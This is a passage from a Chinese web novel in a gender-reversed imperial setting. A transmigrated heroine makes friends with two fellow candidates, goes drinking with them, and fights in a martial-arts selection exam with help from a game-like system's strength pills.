老板喃喃道:“若论身份富贵,这京中皇亲国戚不计其数。若论才学,定是每年从京外十六州赶来参与皇家学院选拔的十数位翘楚。据老妇所知,您需先在本地考试中至少位列前三甲,对吧?”
陆锦澜微微一笑,“我侥幸拔得头筹。”
老板笑道:“这话谦虚了,各地前三甲的试卷还需送到御前,由皇上亲自甄选。近五十份试卷,每年能进京参选的却不足二十人。少娘你能中选,必定是大才。名扬天下,指日可待。”
老板说着将书奉上,“小店承蒙惠顾,与有荣焉。你不必登记,我也不收你的押金,只管将书拿去看,等到选拔结束,再来还书。”
那位公子听到这儿,灰心的转身离开。陆锦澜跟老板说了几句客套话,忙将东西收好,大步追了上去。
“请等一下!”陆锦澜将书递给白衣公子,“拿去看,半月后送回来,就说是替我还的。”
男人愣了一下,“你是替我借的?你觉得……我能看懂兵书?”
陆锦澜轻笑一声,“你能准确的找到这家书舍,还知道书名和年份,为了借书不惜花费重金。我猜你是识字的爱读书的,怎么会看不懂呢?”
男人眼眸一暗,苦笑道:“绝大多数女人都认为男人看不懂兵书。”
陆锦澜摇了摇头,“性别歧视是一种愚昧的偏见,我并非那样的蠢货。”
“你真要借给我?”
“是。”
男人接下那本书,面上却露出几分难色,“那你想要我做什么?”
“嗯?”陆锦澜诧异了一下,忽然明白这位公子把她当成晏少娘那种人了。
她勾了勾嘴角,“虽然公子你确实品貌无双,气质不凡,但我帮你只是出于侠义之心,绝没有别的目的。”
“是吗?”男人也笑了,深邃的五官微微舒展,凝视着她的眼睛,语带笑意:“以我的经验,这是不可能发生的事。”
该怎么形容顶级容貌的魅力呢?陆锦澜并不是个肤浅的人,但看着他笑,还是感觉到心神晃动。“迷人”这个词此刻不是形容,而是写实。
陆锦澜莫名的想要在他面前维持清高的形象,抱拳道:“那在下立刻告辞,以示诚意。”
可转身的瞬间她就后悔了,抛开外型不谈,这位公子的性格绝对和这里的大部分男人不一样。
这里的男人都被规训得太好了,像陆贤陆惠那种的,明明小小的年纪,已经是一身的贤夫良父气质,活脱脱像现代早些年苦情剧里无限度自我牺牲的好媳妇。
其实,这也是陆锦澜抗拒成婚的理由之一。
她不想娶那样的男人,她和他们的精神世界没有交集,无法想象如何共同生活。哪怕对方贤惠温柔,她也会觉得别扭,跟娶了自己太奶似的,和清朝人躺一张床实在难受。
跟那些男人比起来,这位白衣公子显得很是新派。他读书识字,还喜欢研读兵法,陆锦澜真想和他多聊一聊。
可大话已经说了,自己把自己架在那儿,只好迈开大步往前走。怎么才能再遇到他呢?
茫茫人海,连他姓氏名谁都不知道,去哪儿找?
要不,找个借口,再回去聊几句?
陆锦澜一咬牙猛地转身,差点撞上大步追来的白衣公子。两人俱是一愣,场面颇为堂皇。
“我……”
“我……”
男人笑道:“我也要往这边走,可否同行一段路?”
陆锦澜喜出望外,“当然,我有个问题忘了问,正要回去找你。”
“什么问题?”
两人相伴着往前走,陆锦澜语气轻快的打开了话匣子。
“你在街上为什么要捉弄晏少娘?”
“她是你的朋友吗?”
“算不上,今天偶然结识的。”
男人满意的点了点头,“我看她和少娘你也不像同道中人,那人轻浮,让我厌烦。捉弄她一下,让她长个记性,看她下次还敢不敢当街拦人。”
陆锦澜又问:“那你为什么不一开始就拒绝她的搭讪呢?”
男人诚恳的回答:“我虽然略通拳脚,但她是个女人,我不知道对方武功深浅,不想给自己惹麻烦。我拒绝她,万一她恼羞成怒,事情倒不好办了。我又是外地人,强龙压不过地头蛇,还是谨慎为妙。”
陆锦澜笑道:“没想到你还会武功,文武双全。”
“只是略懂而已,家母思想新潮,从小把我当女儿养,让我读书识字学习武艺。不过……”说到这儿,他忽然顿了一下,眼底闪过一丝愁绪。
“不过什么?”
“不过她还是觉得,我应该早点嫁人。我今年十七岁了,家里正在给我议亲。”
陆锦澜顿时感同身受,“议亲的对象你满意吗?”
男人连连摇头,陆锦澜道:“那你就不该成亲,实不相瞒,我家里也是这样,所以我一气之下跑出来了。”
男人很是震撼,“女人也会逃婚吗?我以为大多数女人都会接受家里的安排,先娶个男人摆在家里。反正不论喜欢与否,都可以再娶,想娶多少娶多少。”
陆锦澜意味深长的笑了笑,“我不属于大多数,我是极少数。”
男人嘴角微扬,“那我今天运气真好。”
说完大概觉得这话过于暧昧,怕她误会,又尴尬的补了句:“遇见好人了。”
怎么还给我发上好人卡了?陆锦澜笑不出来。
可一抬头,更尴尬的事儿发生了。她刚才随便选了个方向走,两人竟然走到了死胡同。
空气凝结了一霎,陆锦澜立刻狡辩:“京城路况复杂,我们都是外地人,看来都记错路了。不过从这儿能听见街上的声响,穿过几户人家应该就到街面上了。”
她说着一跃登上墙头,男人仰望着她,眼底有几分跃跃欲试的兴奋,但还是问了句:“我们这样是不是不太好?”
“怕什么?上来,跟我走。”陆锦澜朝他伸出手,男人握住她的手腕,借力飞身一跃也站上了墙头。
两人踩着石墙和瓦砾往前,本想静悄悄过去,却被狗发现了。这片家家都养狗,一只狗叫起来,瞬间有十几只狗应和。屋子里的人烦躁的摔门出来,“你们是干什么?给我下来!”
“快跑!”陆锦澜拉
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住白衣公子,脚下飞快,两人一路上不知道踩碎了多少瓦砾,仓惶逃窜。
系统跟着裹乱,这会儿还在叮叮叮给她加生命值。
眼看着到了街上,忽听呲喇一声,男人的外袍勾在凸起的树枝上,划烂了好大一块。
两人从墙上跳下来相视一笑,心还在怦怦乱跳。
街面上熙熙攘攘,男人衣服破了只得靠墙站着。虽然说里面还有裤子,但衣衫破损被视为不雅。
陆锦澜看了看,“那边有家估衣铺,我去给你买一件外袍,你就在这儿等我。”
“好。”男人爽快答应。
陆锦澜走出两步转身回来,笑问:“你不会像对待晏少娘那样,等我进店,你就跑了吧?”
男人莞尔,“我都这样了,能往哪儿跑?”
也是,陆锦澜放心的去了。
估衣铺多是旧衣,现成的新衣款式材质都很粗糙,她按照那位公子的身量,勉强选了件能穿的。出来一看,傻眼了,刚才那处空无一人。
“哎?人呢?”陆锦澜忙拉住路人询问:“你看没看见一位相貌英俊身型高大的白衣公子?”
连问了三五人都说没看见,一转身眼前一暗,山一样的人影遮住眼前的阳光,吓了她一跳。
那人与她年纪相仿,一身粗布麻衣猎户打扮,其实不是特别高,也就一米七八左右。可她左肩上扛着半只野猪,右肩上挂着一串野鸡还有两只肥美的野兔,仿佛扛着一座小山着实壮观。
这么些东西,少说也有两百多斤,她扛在身上竟然健步如飞气定神闲,平稳极了。
陆锦澜和她面对面差点撞上,一时忘了问询,只是轻叹一声:“少娘好力气!”
那人没理会,冷着脸绕过她继续向前走。
“哎?”陆锦澜又讨了个没趣,叉着腰盯着街面。
耳朵里飘进来一句:“有没有看见一位特别英俊的白衣公子?”
她寻着声望过去,还没瞧见人,只听嘭一声,出“人祸”了。
懊恼寻人的晏少娘和扛猪猎户狠狠撞到一起,新鲜的半扇猪肉扣在地上,晏少娘蹭了半身猪血。
“你怎么回事儿?”两人同时发问,瞬间就吵了起来。
陆锦澜赶过去,只见猎户拧着眉心疼的擦拭着猪肉上的尘土,“你把我猪肉都弄脏了,你赔!”
“嘿?真有意思。你弄脏我的衣服,我还没让你赔呢!你知道我这料子多贵,这可是织了金线的,你卖十头猪都赔不起。”
“你不撞我,怎么会弄脏你的衣服?”
“你不撞我,你猪肉会掉吗?”
“我好好的走着,明明是你突然撞过来。”
“不是你扛着这么一大坨猪,我会躲不开吗?”
陆锦澜眼看着两个越吵越激烈,连忙劝和:“算了算了,大家都不是故意的,都消消气。晏少娘,你又不差这一件衣服,算了吧。”
晏少娘冷哼一声,“我给陆少娘个面子,算了,我自认倒霉,不要你赔了。”
“不行,”那猎户固执得很,“街面上没有不允许扛猪的规定,我扛猪没有错,你撞上来就是你的不对。这一面猪肉都沾了土,割掉才能卖。你害我至少少卖十斤猪肉,四十文一斤,你赔我四百文。”
晏少娘都被气笑了,开始撸袖子,“四百文是吧?我给你四两,但我今天必须揍你一顿。”
9. 第 9 章
“别别别!”眼看场面又要升级,陆锦澜连忙抱住晏少娘,“两位,都别说了。你们谁也不用赔,我赔,还不行吗?”
她想着这猎户穷苦人家出身,赚点钱不容易。晏少娘也确实有很大的损失,好在她无所谓,她愿意出这个钱。
陆锦澜摸出钱袋,“我给你四百文,再给你赔衣服,总行了吧?”
她以为自己想出了天才的解决办法,没想到两人都不同意。
“什么意思?本少娘难道差钱?”晏少娘哼了一声,转身就走。
“又不是你弄掉的,我不要你的钱。”猎户拾起了半扇猪肉,也走了。
陆锦澜捏着钱袋茫然的站了一会儿,喃喃念叨:“都不领情,当我愿意?我是大冤种啊?”
晚上,洗墨和庆儿回来,兴冲冲的汇报她交办的事项。
“我们稍一打听就找到瑞云绸缎庄了,有十几家分铺。掌柜的听说咱们是亲戚,亲自派人送我们到姨老娘府上。不过今儿姨老娘不在家,没能见着。姨老娘的夫郎见了我们,听说您来了,很是高兴,已经吩咐人收拾出了院子,让您明儿就搬到家里去住。”
陆锦澜兴致不高的应了一声,“再说吧,我还是喜欢住客栈,亲戚家倒觉得拘束。”
庆儿道:“那您想个妥当的由头,拒了吧。表姨母又不是亲姨母,我也觉得不好过分打搅。”
“嗯,咱家的铺子去打招呼了吗?”
洗墨道:“都去说了,到云州参加寿宴的掌柜的日夜兼程赶在咱们前面入京,这两天正着人满京城找您呢。见着我们都快哭了,高兴得跟什么似的。说要来拜见少主,我替您回绝了,说您温书呢,不得空,回头考上了再去见她们。”
陆锦澜满意的点了点头,“事儿办得不错,今天总算有件让我顺心的事了。”
庆儿好奇道:“你今天遇到什么事了?”
陆锦澜长叹一声,只觉一言难尽。一回想都觉得憋屈,遇到了位白衣公子,好心好意帮他借书,结果被他耍了。好心好意的劝架,结果当事双方都怼了她,好心被当做驴肝肺。
这些丢脸的事陆锦澜一个字也不想告诉别人,只是简单粗暴的总结了一句:“神京,到处都是神经病。”
选拔之期将至,陆锦澜去表姨母府上做了两次客,其余时间都在修习武术备战武考。
她在系统里学了一堆,自己却没实战过,也拿不准是什么水平。于是她去武馆聘请了一位师傅,跟她每天对练,把脑海中的招式运用出来,集训了十来天。
仔细算算,从她每晚挂系统自动修习武术到现在,总共不到两个月。跟那些从小刻苦习武的人比起来,实在是差得太多。都怪陆今朝,太溺爱孩子。搞得陆锦澜文武双废,干什么都得恶补。
报到那天,陆锦澜心里还是七上八下的。
皇家学院的武试选拔是京中盛事,第一天虽然只是报到登记,让大家上台试试兵器,已经吸引了不少看热闹的群众。
陆锦澜拿着通知书排队登记,意外发现了两个熟悉的面孔,那两个不领情的神经病。
晏少娘应该是已经录取的神京本地考生,明天就是她们这些已录取的新生和外地生抽签对打。
那天扛猪的大力少娘排在陆锦澜前面登记,陆锦澜看了一眼她的名字,项如蓁(zhēn)。
陆锦澜登记完,项如蓁已经一个飞身上了擂台。
她没有自备的武器,从公共的兵器架上抽了一杆铁枪,握在手中试了试。
“哎,哪来的猎户?”台上一名本地生语带嘲讽的问。
项如蓁认真的回答:“我从勉州来的。”
四周传来一阵哄笑,那人扬起手中的银枪,“敢不敢陪我练练手?”
项如蓁的神情冷冷的,没有一丝被嘲讽的怒意,只是语气平常的回答:“可以。”
四周闲杂人等迅速退散,两杆长枪在擂台上碰撞在一起,发声砰一声巨响。
本地生仓惶退后了两步,眼里闪过一丝慌乱。
陆锦澜默默勾起嘴角,笑着看戏。
一定很疼吧?她曾亲眼看着项如蓁单手提起半只野猪,她都不敢想她的手劲儿有多大。
那名本地生和项如蓁一交手,就知道自己挑衅错人了。连忙使出浑身解数,全力硬敌。
两人打得火花四溅,引得台下一声声叫好。
外行看热闹,内行看门道,陆锦澜现在算半个内行。
她能明显看出来台上这俩人的长短处,项如蓁天生神力,骨骼精壮,是个练武的天才。不过,应该没有好师傅教导,招式都是烂大街的,或者现想的,仿佛想怎么出招就怎么出招,没有套路可寻。
那位本地生就不一样了,一看就是训练有素,招式较为精妙。二人对战,项如蓁纯靠力量压制,起初本地生还能靠令人眼花缭乱的招数进攻几次。
可项如蓁很快适应了她的打法,不出二十招,那人就被打得只有招架之功,毫无还手之力了。
陆锦澜瞥见晏少娘也在另一侧观看,生怕她还记恨着,会与项如蓁为难,便悄悄凑了过去。
果然听见晏少娘的侍从低声道:“台上那个猎户不是在街上和您冲突的那人吗?要不要咱们使点手段,让她明天不能录取?”
晏少娘专心看着台上的打斗,闻声冷冷的瞥了那侍从一眼,“如此卑劣的手段,配得上我高贵的出身吗?”
侍从羞愧的低下了头,晏少娘压低了声音:“滚回家去,以后不许跟我出门。”
“是。”
陆锦澜微微一笑,上前勾住她的肩膀,“看不出来啊,晏少娘除了好男色,还如此正直,咱们正式交个朋友吧?”
她友好的伸出手,晏少娘看了她一眼,“你竟然是来参加选拔的?我也没看出来,你除了好男色,还颇有才学。”
她握住她伸出的手,“晏无辛。”
“陆锦澜。”
终于在这个世界交到朋友了,陆锦澜高兴道:“打个赌吧,猜猜台上还有几招结束,输了的人请吃饭。”
“我猜十招之内。”
“我猜三招之内。”
话音未落,砰一声巨响,本地生的银枪被铁枪弹飞,正式结束了这场较量。
“好!”台下爆发出震耳欲聋的喝彩。
项如蓁将铁枪放回兵器架,陆锦澜立刻拉着晏无辛围上来。
“真巧,我们又见面了。”
“你早说你有这么好的身手,我那天就赔你四百文了。英雌惜英雌嘛,就当交个朋友。”
项如蓁
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打量着二人,朝晏无辛伸出手,“那你现在赔我四百文。”
“啊?哦。”晏无辛愣了一下,茫然的去摸钱袋。
陆锦澜一手拉住一个,“赔什么钱?让她请咱们吃饭就是了。”
“对对对,正好我赌输了。”
二人拽着项如蓁上了马车,也不容她拒绝,很快便到了一处大宅院。
“下来吧,这是我的私宅。”
在京城这样寸土寸金的地界,晏无辛能有如此气派的宅院,必定家世不凡。陆锦澜曾听说,嬅国四大望族,凌、晏、赵、楚。陆锦澜猜想,晏无辛大约是丞相晏维津一族的亲眷。
三人刚在厅中坐下,立刻有仆从送来点心茶水。紧接着六七个相貌俊俏的男人涌了进来,对着晏无辛恭敬行礼,“拜见妻主。”
陆锦澜一愣,“你成婚啦?”
晏无辛不好意思道:“还没大婚,这些都是应子。”
没大婚的意思是还没娶正夫,大户人家的女儿没娶正夫之前也可以纳郎,不过通常不会给太高的身份。
正夫、侧夫、常伴、雅侍、应子,应子的身份最低微的。
陆锦澜知道晏无辛好男色,但冒出来这么多应子,还是她始料不及的,连忙做了下系统任务。
晏无辛对那些男人道:“我有朋友在,你们都去吧,这里不用你们伺候。”
等那些应子退下,晏无辛方留意到陆锦澜的眼神,“怎么样?我眼光不错吧?”
她挽着陆锦澜的胳膊,大方道:“有你喜欢的吗?要不,我让他们回来?”
没等陆锦澜反应,刚坐下的项如蓁腾地站了起来,“你们这样我就走。”
陆锦澜连连摆手,“不不不,无辛开个玩笑,我也没那个意思,就是看了几眼。”
“是吗?”项如蓁不太信,语重心长的劝道:“圣人云,朋友郎不可抢,我们读书人应该谨记。”
陆锦澜和晏无辛对视了一眼,晏无辛:“不好,我们好像把学监请到家里了。”
陆锦澜哈哈大笑,“如蓁,你不要这么古板好不好,你今年多大?”
三人一对年龄,项如蓁十七岁。晏无辛和陆锦澜同岁,都是十六。又问生日,两人竟然只差了一天,陆锦澜九月初六,晏无辛九月初七。
晏无辛很是高兴,“真是巧,今天高兴,必须痛饮一场。”
陆锦澜忙道:“明天还有考试,酒就算了,以茶代酒就好。”
席面很快摆上,无酒无歌,实在寡淡。
晏无辛:“我前儿才听说云州状元诗才了得,一直想见一见,不曾想就是你陆锦澜。可否露一手,让我们长长眼?”
又来了。陆锦澜放下手中的鸡腿,轻叹一声,“好。”
这该死的虚荣心!为了博得新朋友们的喜爱,只好麻烦一下李太白了。
《将进酒》——梦会李白偶得一作。
为了应景,她将诗中人物稍作改动。“岑夫子丹丘生”变成了“晏无辛项如蓁”,一首诗写完,晏无辛朝外面高喊:“把我珍藏的好酒挖出来!”
她紧紧握住陆锦澜的手,“你说得对,人生得意须尽欢,咱们至少得喝一杯,不枉你写了这首好诗。”
陆锦澜犹豫的看向项如蓁,“你怎么说?”
10. 第 10 章
项如蓁沉吟片刻,一本正经道:“确实是好诗,堪称千古佳作,喝三杯吧。”
最后,当然不止三杯。
第二天早上,晏无辛的近侍叶游过来叫起。
一开门,差点惊掉下巴。
刀枪剑戟横七竖八的躺在地上,差点把她绊一个跟头。梨花木的桌子裂成了两半,杯盘狼藉散落一地。最让她不能理解的是顶棚上扎着的三支箭,她实在想不出怎么会射到棚顶上去。
时候不早了,她小心翼翼的迈过地上的东西,开始叫人。
“少娘,快醒醒!”
叶游掀开被子的一角,却是一张凌厉深邃的陌生面孔。她连忙去掀另一面,那人长得玉质金相,也不是她家少娘。
叶游急得将被子一把扯掉,在二人脚下把晏无辛拖了出来。
“小少娘,快醒醒,今天考试!”
“考试?”项如蓁大喊一声猛地睁开眼,“快醒醒!”
“嗯?”晏无辛迷蒙的睁开眼,大脑又沉又涨,“糟了!来不及了,快把锦澜叫醒。”
“她醉得太厉害,我先把她带去考场再说。”项如蓁像扛猪一样把昏睡的陆锦澜扛到肩上,揉着眼睛就往外走。
“等等我。”晏无辛试图跟上,却在下床的那刻脚下一软,扑通一声摔倒在地。
陆锦澜一睁眼大头朝下,胃里翻江倒海,她使劲儿拍了拍项如蓁的背,“快放我下来,我要吐了。”
落地的瞬间,陆锦澜狼狈得扑向一旁。
晏无辛摔得七荤八素,听见声音忙冲出来,“这可是我的锦鲤池,我的锦鲤……哕……”
叶游追出来,看见两人在池边大吐特吐,而项如蓁焦急的在一旁催促着:“吐完了吗?可以走了吗?”
叶游朝外面高声道:“快来人伺候,煮醒酒汤!”
训练有素的仆脚步快得吓人,不同的人拿着不同的器具,三人飞快的洗漱一番,爬进了同一辆马车。
陆锦澜一拍脑袋,“我的剑!”
晏无辛迅速掀开帘子吩咐一声:“把陆少娘的剑和我的凤鸣长刀送到考场。”
“她们会准时送过来的,放心吧,我们人先到就好。不一定先抽到你们,上场前兵器一定送到。”
陆锦澜看着自己的双手,有些心虚,“不知道怎么回事,我手有点疼,希望不要影响上场。”
“我知道怎么回事。”晏无辛依稀记得一点昨晚的片段,“你和如蓁对打弄得。”
陆锦澜努力回想,昨晚自从喝酒开始,事情就朝着荒谬的方向发展。
不得不说,喝醉了她们少了清醒时的克制,更像十六七岁的少年人。因为彼此欣赏,迅速打成一片,然后开始一起做美梦。
晏无辛:“真希望你们两个都能录取,如果我们在一起,接下来的三年我一定非常快乐。”
陆锦澜:“我有信心,如蓁呢?”
项如蓁:“志在必得。”
陆锦澜:“说起来,你的枪法跟谁学的?”
项如蓁:“你看着像跟谁学的?”
陆锦澜噗嗤一笑:“我看着你像没学过,纯靠力量取胜。”
项如蓁微微点头,“能取胜就够了,靠什么不重要。你还不知道我是天生神力,不信咱俩现在练练?”
在本地生挑衅项如蓁的时候,陆锦澜就猜想过跟项如蓁交手一定会手痛。
真轮到自己,才发现不仅是手痛,连半条手臂都被震得发麻。哪怕睡了一觉,醒来还是手疼。
项如蓁也模糊的记起昨晚的片段,不过,她诧异的看向自己的手,“我怎么也手疼?”
陆锦澜好心告知:“那张梨木桌是你拍裂的。”
“啊……”项如蓁歉然的看向晏无辛,“那四百文不用你赔了。”
晏无辛苦涩一笑,“你们两个醉鬼,我真是懒得跟你们算账。弄烂我一张好桌子,一池子鱼怕也不能要了。你们还手痛?有我痛吗?我不仅手痛,我全身都痛。”
陆锦澜和项如蓁对视一眼,心虚的不敢说话。
昨晚一开始是陆锦澜和项如蓁对打来着,但两人很快发现,力量太过悬殊。一个天生神力,平日勤学苦练。一个天生弱鸡,才练了不到两个月。
项如蓁喝了酒有点不知道轻重,陆锦澜每接她一招,都疼得想转身就跑。
她使出系统里学习的各种轻功、身法、顶级剑法,硬顶了三十招,实在受不了了,就让晏无辛去给项如蓁当陪练。
晏无辛是从小接受系统的武学教育,拜过许多名师,对天下各家武学都有涉猎,堪称十八般武器样样精通。酒精上头,大家都不想在新朋友面前丢脸,她拿出看家的本事,用各种兵器陪项如蓁练了大半个时辰。
晏小少娘彼时已经精疲力竭大汗淋漓了,面上仍然故作轻松。谁知屁股还没沾到椅子上,陆锦澜就说:“你陪我也练一会吧。”
就这么着,晏无辛一对二,当了一宿的陪练。一觉醒来,身上跟被马踩了似的,疼得她龇牙咧嘴。
临考前弄成这样,三人各有各的惭愧,各自捧着疼痛的爪子陷入沉思。
陆锦澜有些惭愧,今天的考试事关前途命运,昨晚实在不该放纵。
她想,晏无辛已经是录取生了,没有什么可怕的。至于她自己,考不上大不了回云州做她的富二代,但她为项如蓁担忧。
勉州穷苦之地,如蓁家境又不富裕,真无法想象她要付出多少辛苦,才能拿到这张入京通知书。千辛万苦来到京城,若真因为这顿酒误了前程,实在可惜。
陆锦澜:“如蓁,如果因为陪我们喝酒而影响了考试,你会不会恨我们?”
项如蓁摇头,“不会,又不是你们逼着我喝的,为什么要恨你们?”
陆锦澜笑了笑,没说话。她之前一直觉得项如蓁有点死心眼,现在想想死心眼也有死心眼的好处,她特别讲道理。
项如蓁又道:“这点小问题,不会影响考试的。我想做的事,一定会做成。今天在擂台上只会有两个结果,要么我赢,要么我死。”
她说这话的时候漫不经心的看着窗外,语气却无比的坚定。
陆锦澜和晏无辛深吸一口气,都觉得不至于如此。
晏无辛想开口说什么,陆锦澜却按住她的手腕,示意她不要说。
她们这样出身的人,根本不明白“前程”二字对穷人意味着什么,更没资格劝别人活得轻松点。那种规劝,听起来会很像嘲讽。
马车终于抵达考场,谢天谢地,因为今年围观的百姓格外多,附近交通堵塞,考生考官都被堵在路上,开考时间
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延后了半个时辰。
她们三个见拥堵厉害,立刻放弃马车,从一里外步行过来。一路上见到满街的摊贩,才知道为什么堵这么狠。
三人互相拽着往里挤,晏无辛皱着眉抱怨:“也太会做生意了,是不是全国的小商贩都来了?这简直比上元节还热闹。”
话音未落,旁边一位大娘叫卖:“瞧一瞧!看一看!《外地十九位考生文考试卷合集》五百文一本,数量有限,先到先得!”
晏无辛立刻丢过去一两银子,“给我来两本。”
陆锦澜无奈道:“这个时候,你还有心情看这个。”
晏无辛:“堵成这样,谁也没办法,我正好有时间拜读你俩的大作。”
项如蓁等不及了,一把抓着她俩的胳膊,“跟紧我。”
她在前面横冲直撞一顿挤,三人竟然提前就座了。
圆形的打擂台,外地考生和已经录取的本地生分坐在相对的两个区域。大部分考生都到了,正前方监考官的位置倒是空了两个。
晏无辛见还没开始,就赖在外地考生的区域,在二人身旁挤着坐。
周围的外地生都在讨论,“听说今年的皇亲之女格外多,神京本地的录取生也创了新高,加起来已经有八十九人了。”
“这么多?那我们外地学生可就惨了,皇家学院每年新生不超过一百人。也就是说今年入京参选的十九位考生,最多只能入选十一人。”
“这么狠?那岂不说我们这里差不多一半人都得滚回家去?”
周围抱怨声此起彼伏,晏无辛低声道:“你俩别紧张,毫不吹嘘的说,我的功夫在神京本地生中算上上等。昨天那个和如蓁对打的本地生,也是本地生中的翘楚,不然她哪敢那么狂妄?”
晏无辛说着看向陆锦澜,“我倒不担心如蓁,我担心你。你的身体情况比一般的习武之人都要弱,要格外当心。”
陆锦澜心说那也是没有办法,起点太低了,自从她接手这个身体之后,已经尽量练了。
有系统的加持,她现在的身体跟两个月前比,已是天差地别。昨晚她和二人打得有来有回,心里已然十分骄傲。但要想一下子练出别人十几年的成果,那是不可能的。
陆锦澜暗暗发誓,等考完了,她一定好好休习内功。这些天光顾着练招式身法,内功都落下了。她暗怪系统还是不够强大,一晚上只能挂一项在梦中学习。要是能挂十项,她今天就不用这么紧张了。
不一会,监考官到了,兵器也送到了。武试马上开始,清点人数的□□派人叫晏无辛坐回自己的位置。晏无辛无奈的起身,目光扫过待上场的本地考生,忽然惊愕道:“她怎么会在?”
二人忙问:“谁?”
“凌照人,她不算是本地考生,是皇亲之女。皇亲不必参加文武两试,都是直接录取。可她怎么来了?难道她要上场?”
陆锦澜不解道:“她上场又怎样?”
晏无辛担忧道:“此人是定北侯凌之静的女儿,她娘手握重兵,她生父是皇上的亲弟弟。她家武学渊源,又是练武奇才,所以武艺极高,且一贯好勇斗狠。她若是上场,根本不会管别人死活。你们两个若是遇到她,千万小心,保命要紧。”
陆锦澜深吸一口气,得赶紧想个办法,她可不想死。
11. 第 11 章
好好好,一个个都不是省油的灯。京城果然是龙虎风云地,左一个天赋异禀,右一个练武奇才。好在,我也不是普通人。
陆锦澜如此想着,默默自我安慰:我是挂才,有挂,什么都不怕。
她默默点开系统商城,她现在有两千多的生命值。强效大力丸功效只有半个小时,十个生命值才能兑换一颗。陆锦澜咬了咬牙,将数量拉到99,点击确认。瞬间失去将近一半的生命值,口袋却变得沉甸甸的。
主考官已经抽出了第一组考生,副考官在台上高声宣布:“第一个上场的是承州左隋之,对阵神京楚易舒。”
楚易舒就是昨天挑衅项如蓁的那个本地生,左隋之坐在陆锦澜身后。被点到名字的二人各自带着自己的兵器上台,锣声一响,迅速战至白热化。
陆锦澜趁机摸出大力丸,一把一把的往嘴里塞。旁边考生诧异的看过来,陆锦澜鼓着腮帮子:“看什么?我早上没吃饭。没见过拿补品当饭吃啊?”
九十九颗大力丸下肚,浑身都觉得胀胀的,像是身体里有股力量要冲出来,迫不及待要与人交手一样。
陆锦澜一看台上,楚易舒有些本事,昨天狼狈落败,是因为她挑衅的是项如蓁。今天她为了一雪前耻,有意炫技,在台上招招凶险。左隋之渐渐露出颓势,似乎撑不了多久。
砰!左隋之手里的双锏被挑飞,楚易舒的枪尖抵在她的脖子上。
噹!锣声又一响,副考官宣布:“神京楚易舒,胜。”
左隋之沮丧的拾起兵器,回到自己的位置,这次大概与皇家学院无缘了。除非后面的十八位考生都输得一塌糊涂,而且还得比她表现差。
项如蓁对她道:“你的兵器太短了,她使长枪,你用长兵器能多两分胜算。”
左隋之摇了摇头,“我从小练的就是锏,别的使不惯。她的水准远在我之上,就算我用长兵器,也顶多再坚持一刻钟,赢不了的。技不如人,我认输。”
陆锦澜刚打算说几句安慰的话,忽听台上宣布:“第二个上场的是云州陆锦澜,对阵神京晏无辛。”
啊?陆锦澜和晏无辛站在各自的位置,遥遥相望,神色复杂,这也……太巧了。
项如蓁眼底满是担忧,昨晚她们三人交过手,陆锦澜和晏无辛虽然实力相差不大,但陆锦澜的身体素质和临敌经验都差了一截,她赢不了。除非……没有除非。
晏无辛提着凤鸣长刀走上擂台,陆锦澜握着宝剑站在她对面。
二人躬身行礼,陆锦澜刚要起身,忽听晏无辛小声道:“朋友,你真让我为难。”
陆锦澜低声回:“不用为难,正常打就是了。”
“切,干嘛说这种话?我又不是如蓁那个死心眼儿,可我也不能放水太明显。”
“没事,我刚吃了点补品,现在强得可怕。”
“让你平日偷懒,你这小身板,现在干嚼人参也没用……”
两人越说头靠得越近,台上主考官大吼一声:“说什么呢?考生不许私自交谈!”
二人立刻站直,伴随着一声锣响,只得无奈的将利刃对准对方。
前十招,双方都没有使出全力,但晏无辛已经察觉到有些不对。
陆锦澜的剑忽然使得又快又沉,剑风带着声响,十分吓人,跟昨晚轻飘飘的打法完全不一样。难道她昨晚喝醉了影响了发挥,还是故意隐藏实力?总不能真是补品起了作用吧?
她哪知道,像陆锦澜这样的挂才,最大的缺点就是没有基础。
身体机能差,力量小,导致出招力度、速度都不够,十分的剑招,她也就打出三四分的杀伤力。但强效大力丸的出现,短暂且完美的弥补了这一缺点,十分的剑招,立刻能打出七分的水准。
之前晏无辛只觉得陆锦澜招式新奇刁钻,没看出别的。现在才猛然发现,使好了招招都是精妙的杀招。她根本不需要费心想着如何放水,她现在需要想得是不要输得太快,否则别人一定认为她在放水。
晏无辛迅速调整心态,拿出十二分的精神,全力应对。
精钢筑就的凤鸣长刀和削铁如泥的宝剑在台上拼得火花四溅,陆锦澜心里却越来越焦躁。
她感觉,晏无辛在放水。不然怎么这么慢?出手也太轻了,不应该啊。
她意识不到是自己突然变得太快,才显得别人变慢。还以为晏无辛有意为之,于是更加用力,想逼迫她拿出真本事应对。
两人又对打了二十招,晏无辛真的要冤死了,脸上身上汗都出来了,陆锦澜还越打越凶。这么下去,她都怕自己一不留神被陆锦澜一剑刺死,简直急得想骂人。
晏无辛咬牙战至四十六招,陆锦澜的宝剑划向她握着的长柄,晏无辛连忙松手,凤鸣长刀在空中打了个转,被陆锦澜一个倒钩踢到擂台后侧的石墙缝里。
“哇!”台下屏息的人群发出一声惊呼,晏无辛也悄悄松了口气,擦了擦汗准备下场。
她眼看着副考官举起锣槌,马上就要敲锣宣布结果了,主考官却忽然抬手,示意副考官不要敲锣。
一时间,所有人都愣住了。
陆锦澜握着刀,茫然的看向主考官,“我已经击飞了她的兵器,还不算赢吗?”
主考官是皇家学院院长凌知序,她素来以严厉中正著称,此刻冷声道:“你们既然认识,难免有作假之嫌。陆同学,没有拼尽全力的胜利不能服众,拿出你的真本事来。”
陆锦澜疑惑的看向晏无辛,“你放水了吗?”
晏无辛喘着粗气,摸了一把脖子后面,给她看一手的汗,“冤枉,我都汗流浃背了。”
晏无辛举着汗淋淋的手看向主考官,“院长,我们认识不假,但学生也拼尽全力了,难道非要她把我打死才算吗?”
凌知序答:“如果她真的要把你打死,我会及时叫停的。”
“好。”陆锦澜算看出来了,这群人看热闹不嫌事大。她用心打不行,还得打出杀意,
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否则这些人不相信她真有本事。
虽然说她的本事不那么真,但按照规则已经该判她赢了。陆锦澜在擂台上踱了几步,估摸着大力丸的效果大概还有不到十分钟,她很快有了一个新的思路。
她眼神一变,手腕晃动着长剑,沉声道:“晏同学,对不起了。”
晏无辛眼里闪过一丝慌张,“你什么意思?”
陆锦澜提着剑大步上前,晏无辛看着她狠戾的目光连连后退,“哎,我手无寸铁,你不能这么对朋友啊。院长,院长救命!”
晏无辛转身就要往擂台外跑,陆锦澜大喊一声:“没分输赢不许走!”
她飞速上前,在边缘处揪住晏无辛的后脖领,一下将她抡回场内。
